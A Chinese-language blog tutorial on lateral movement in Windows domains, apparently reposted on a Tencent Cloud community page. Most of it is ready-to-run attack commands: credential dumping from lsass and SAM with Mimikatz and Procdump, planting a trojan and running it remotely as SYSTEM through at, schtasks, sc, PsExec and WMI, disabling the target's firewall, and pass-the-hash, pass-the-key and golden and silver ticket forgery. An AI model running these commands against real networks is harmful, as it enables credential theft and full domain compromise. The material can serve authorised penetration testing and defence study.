前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >横向移动

横向移动

作者头像
鸿鹄实验室
发布2022-11-02 17:06:09
2.2K0
发布2022-11-02 17:06:09
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

在内网渗透过程中,当得到内网中某一台机器权限后,如果需要进一步的扩大攻击范围,那么这时候就需要进行横向移动,以被攻陷的主机作为跳板,来访问域内其他主机.通过此类攻击手段,最终可能会获得域控制器(DC)的访问权限及重要数据.

windows凭据窃取

Windows的系统密码hash一般由两部分组成:LM-Hash和NTLM-Hash hash格式为username:RID:LM-Hash:NTLM-Hash

Mimikatz

下载地址:https://github.com/gentilkiwi/mimikatz Mimikatz可以从lsass.exe 进程里获取windows处于active状态账号的明文密码。

代码语言:javascript
复制
privilege::debug        //提升权限
sekurlsa::logonpasswords        //抓取密码

导出SAM表,通过mimikatz来提取

代码语言:javascript
复制
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM

lsadump::sam /sam:SAM /system:SYSTEM

Procdump

Procdump是微软官方发布的一款调试工具,可通过Procdump转储内存文件到本地再通过mimikatz来抓取文件中hash,可躲避杀软查杀 使用Procdumplsass.exe转储成dmp文件

代码语言:javascript
复制
procdump64.exe -accepteula -ma lsass.exe lsass

使用mimikatz从转储的lsass.dmp中读取明文密码

代码语言:javascript
复制
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"

Get-PassHashes.ps1

下载地址:https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1 Get-PassHashes.ps1nishang中的一个脚本,可用于导出hash

代码语言:javascript
复制
Import-Module .\Get-PassHashes.ps1
Get-PassHashes

Windows远程连接和相关命令

IPC

IPC(Internet Process Connection)共享命名管道的资源,是为了时间进程间通信而开放的命名管道,通过提供用户名密码建立一条安全的、加密的、用于数据交换的通道.通过这个连接,可以在目标机器上执行命令,文件上传/下载等.在同一时间内,两个ip之间允许建立一个连接. 利用条件

  • 目标机器开放129、445端口
  • 目标机器管理员开启了ipc$默认共享
  • 知道目标机器账号密码

通过net来建立连接

代码语言:javascript
复制
域成员---win7:192.168.10.3
域控---2008:192.168.10.1

net use \\[DC-IP]\ipc$ ["password"] /user:[username]
net use \\192.168.10.1\ipc$ "Admin@123" /user:administrator

net use查看连接

通过建立的IPC连接,可便于win7访问2008的文件,进行上传、下载等操作。

IPC连接还可进行本地映射,将DC的C盘映射到本地Z盘

代码语言:javascript
复制
net use z: \\[IP]\c$ [password] /user:[username]
net use z: \\192.168.10.1\c$ "Admin@123" /user:administrator

删除IPC连接

代码语言:javascript
复制
net use \\[IP] /del /y
net use \\192.168.10.1 /del /y

dir命令

dir用于显示目录的文件和子目录的列表。

代码语言:javascript
复制
dir \\192.168.10.1\c$       //列出DC上C盘的文件

tasklist命令

tasklist显示本地或远程机器上当前运行的进程列表。

代码语言:javascript
复制
tasklit /S 192.168.10.1 /U administrator /P Admin@123       //列出DC上运行的进程
  • /S 指定IP地址
  • /U 指定哪个用户执行这个命令
  • /P 指定该用户密码

copy命令

copy复制一份或多份文件

代码语言:javascript
复制
copy C:\test.txt \\192.168.10.1\c$      //将test.txt文件复制到DC的C盘目录下(可复制木马等)

type命令

type显示文本文件的内容

代码语言:javascript
复制
type \\192.168.10.1\c$\test.txt         //读取目标机器上的文件

at命令

at用于显示或创建计划任务 可通过at命令设置计划任务执行命令,将结果写入文件中,然后通过type读取文件 时间可通过net time来获取

代码语言:javascript
复制
at \\192.160.10.1 15:17:30 cmd.exe /c "ipconfig > c:\test"

也可设置定时任务来执行木马文件 通过copy等方法将木马文件上传至目标机器

代码语言:javascript
复制
copy c:\artifact.exe \\192.168.10.1\c$

通过at来设置计划任务即可

代码语言:javascript
复制
at \\192.168.10.1 15:20:30 c:\artifact.exe

删除计划任务

代码语言:javascript
复制
at \\[IP] [ID] /delete      //在新建计划任务时会提示ID是多少或直接执行at可看计划任务ID
at \\192.168.10.1 1 /delete

schtasks命令

自Windows Vista、Windows Server 2008之后版本已经将at命令废弃了,可使用schtasks命令代替,schtasksat更灵活、自由. 常用参数:

  • /create 创建新计划任务
  • /query 列出所有计划任务
  • /delete 删除计划任务
  • /run 运行计划任务
  • /s 指定目标机器
  • /u 指定用户名
  • /p 指定木马
  • /tn 指定计划任务名称
  • /sc 指定计划频率(MINUTE、 HOURLY、DAILY、WEEKLY、MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT)
  • /tr 指定任务运行程序的路径
  • /ru 指定任务运行权限( ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM")
  • /st 指定运行任务的开始时间

在目标机器上创建一个名为test的计划任务,该计划任务在开机时启动,启动程序为C盘下的artifact.exe,启动权限为system

代码语言:javascript
复制
schtasks /create /s 192.168.10.1 /tn test /sc onstart /tr c:\artifact.exe /ru system /u administrator /p "Admin@123" /f

查看名为test的任务

代码语言:javascript
复制
schtasks /query /s 192.168.10.1 /u administrator /p "Admin@123" /tn "test"

删除计划任务

代码语言:javascript
复制
schtasks /delete /s 192.168.10.1 /u administrator /p "Admin@123" /tn "test"

在使用schtasks命令时,会在系统中留下日志C:\windows\tasks\schedlgu.txt

sc命令

sc是用于与服务控制管理器和服务进行通信的命令行程序。

利用sc进行横向流程:

  • 与目标机器建立ipc连接
  • 将木马文件上传至目标机器
  • 通过sc创建一个名为test的服务
代码语言:javascript
复制
sc \\[IP] create [ServiceNname] binpath= "[path]"
sc \\192.168.10.1 create test binpath= "c:\artifact.exe"
  • 启动test服务即可
代码语言:javascript
复制
sc \\192.168.10.1 start test

删除创建的服务

代码语言:javascript
复制
sc \\[IP] delete [ServerName]
sc \\192.168.10.1 delete test

通过设置服务来关闭防火墙

代码语言:javascript
复制
sc \\192.168.10.1 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.19.1 start unablefirewall

利用PsExec

PsExec是一种轻量级telnet-replacement,可用于在其他系统上执行进程,为控制台应用提供完全交互性,而无需手动安全客户端软件。PsExec需要目标机器开启admin$共享(默认是开启的),如果目标机器开启防火墙,那么PsExec将无法使用. PsExec基本原理:

  • 通过ipc$连接,释放二进制文件psexecsvc.exe到目标机器
  • 动过服务管理SCManager远程创建一个psexec服务,并启动服务
  • 客户端连接执行命令,服务端通过服务启动相应的程序执行命令并返回数据
  • 运行结束后删除服务

在建立ipc$的情况加可直接进行连接

代码语言:javascript
复制
PsExec.exe -accepteula \\192.168.10.1 -s cmd.exe
-accepteula:第一次运行psexec时会弹窗,使用该参数不会弹框
-s:以system权限运行,不使用此参数测试administrator权限

没有建立ipc$连接可通过-u,-p两个参数来指定用户名密码

代码语言:javascript
复制
PsExec.exe \\192.168.10.1 -u administrator -i -p Admin@123 cmd.exe

Metasploit中也有psexec模块

代码语言:javascript
复制
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh(powershell版本)

利用SmbExec

下载地址:https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.pysmbexec smbexec是一款基于pexec的与渗透测试工具,并配套samba工具,可以通过文件共享(admin,,c,ipc,,d)在远程系统中执行命令

代码语言:javascript
复制
smbexec.py [username]:[password]@[IP]

利用WMI

WMI(Windows Management Instrumentation,135端口)是Windows自带功能,WMI以本地和远程方式提供了许多管理功能,包括查询系统信息、启动和停止进程以及设置条件触发器,而且整个运行过程都在计算机内存中发生,具有极高的隐蔽性。

使用wmic远程执行命令,需要在目标机器开启WMI服务(需要开放135端口,wmic会以管理员权限在远程系统中执行命令)

查看目标机器进程信息

代码语言:javascript
复制
wmic /node:[IP] /user:[username] /password:[password] process list brief
wmic /node:192.168.10.1 /user:administrator /password:Admin@123 process list brief

使用cmd执行命令(没有回显需要通过ipc$和type来进行读取)

代码语言:javascript
复制
wmic /node:192.168.10.1 /user:administrator /password:Admin@123 process call create "cmd.exe /c whoami > whoami.txt"

wmiexec

wmiexec是对windows自带的wmic做了一些改进,可通过用户名密码或者配合哈希传递等一起使用

wmiexec.py

该脚本是impacket工具包中的一个工具. 下载地址:https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py

代码语言:javascript
复制
python wmiexec.py [username]:[password]@IP
python wmiexec.py -hashes [LM Hash]:[NT Hash] [username]@[IP]

wmiexec.vbs

通过vbs脚本来调用WMI来模拟PsExec功能.

代码语言:javascript
复制
cscript.exe //nologo wmiexec.vbs /shell [IP] [username] [password]

Invoke-WMIMethod

Invoke-WMIMethod是powershell自带的模块

代码语言:javascript
复制
#目标系统用户名
$User = "DC-2008\administrator"

#目标系统密码
$Password= ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force

#账号密码整合,导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password

#远程运行计算器程序
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.10.1" -Credential $Cred

PTH、PTT、PTK

  • Pass The Hash (PTH,hash传递攻击)
  • Pass The Ticket(PTT,票据传递攻击)
  • Pass The Key(PTK,密钥传递攻击)

当使用PTH的时候当目标机器存在KB2871997补丁后,PTH配合Mimikatz只能连接域用户,不能连接其他组的用户。PTK需要目标机器存在KB2871997补丁才可以连接域用户,也可以连接组,采用ase256连接,PTHPTK都是基于NTML认证,而PTT是基于kerbros协议。

PTH(Pass The Hash)

PTH在内网中是一种经典的攻击方式,可直接通过LM Hash(已弃用)和NTLM Hash访问远程主机或服务。在打补丁后,常规的PTH已无法成功,唯独SID为500的用户除外,利用这个用户仍可以通过PTH来远程ipc连接 如果禁用了NTLM认证,PsExec无法利用获得的NTLM Hash进行远程连接,可通过Mimikatz来进行连接

在得到NTLM Hash后通过Mimikatz进行hash传递

代码语言:javascript
复制
sekurlsa::pth /user:[username] /domain:[domain] /ntlm:[NTLM Hash]

sekurlsa::pth /user:administrator /domain:dc.2008.com /ntlm:70be8675cd511daa9be4b8f49e829327  //连接域用户

sekurlsa::pth /user:administrator /domain:workgroup /ntlm:70be8675cd511daa9be4b8f49e829327		连接本地用户

PTK(Pass The Key)

PTK需要一个前提条件,目标主机必须打KB2871997补丁,因此用的很少

代码语言:javascript
复制
sekurlsa::ekeys     //获得aes256值
sekurlsa::pth /user:administrator /domain:dc.2008.com /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

PTT(Pass The Ticket)

PTT是基于kerberos协议进行攻击,最常见的攻击方式:黄金票据、白银票据

黄金票据

代码语言:javascript
复制
mimikatz.exe "kerberos::golden /user:[用户名] /domain:[域名] /sid:[域SID] /krbtgt:[krbtgt NTLM Hash] /ticket:Administrator.kiribi"

白银票据

代码语言:javascript
复制
mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域SID> /target:[目标主机名] /service:<服务类型> /rc4:[KRBTGT NTLM Hash] /user:[任意用户名] /ptt"

参考

https://www.freebuf.com/articles/network/251364.html https://xz.aliyun.com/t/9744#toc-3 https://www.freebuf.com/articles/system/229200.html http://www.kxsy.work/2022/02/14/nei-wang-shen-tou-zui-shi-yong-de-heng-xiang-yi-dong-zong-jie/#toc-heading-5 https://www.cnblogs.com/bmjoker/p/10355979.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-09-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • windows凭据窃取
    • Mimikatz
      • Procdump
        • Get-PassHashes.ps1
        • Windows远程连接和相关命令
          • IPC
            • dir命令
              • tasklist命令
                • copy命令
                  • type命令
                    • at命令
                      • schtasks命令
                        • sc命令
                        • 利用PsExec
                        • 利用SmbExec
                        • 利用WMI
                          • wmiexec
                            • wmiexec.py
                            • wmiexec.vbs
                            • Invoke-WMIMethod
                        • PTH、PTT、PTK
                          • PTH(Pass The Hash)
                            • PTK(Pass The Key)
                              • PTT(Pass The Ticket)
                                • 黄金票据
                                • 白银票据
                            • 参考
                            相关产品与服务
                            网站渗透测试
                            网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
                            领券
                            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档